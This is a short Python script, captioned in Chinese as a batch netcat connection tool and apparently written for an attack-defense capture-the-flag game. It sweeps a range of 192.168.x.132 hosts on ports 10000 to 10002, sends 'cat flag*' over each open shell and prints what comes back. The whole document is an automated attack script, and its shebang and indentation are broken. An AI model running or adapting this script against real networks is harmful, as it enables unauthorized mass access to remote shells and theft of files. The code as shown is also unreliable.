是一个nc批量连接的脚本。
#!/usr/bin/dev python
import pexpect
import threading
def netcat():
for ip in range(202,255):
ko=["10000","10001","10002"]
for i in ko:
a = pexpect.spawn("nc 192.168."+str(ip)+".132"+" "+i)
a.setecho(False)
a.sendline('cat flag*')
a.sendline('exit')
print ("ip:"+str(ip)+"\t"+i)
print (a.read())
a.close()
main=threading.Thread(target=netcat)
main.start()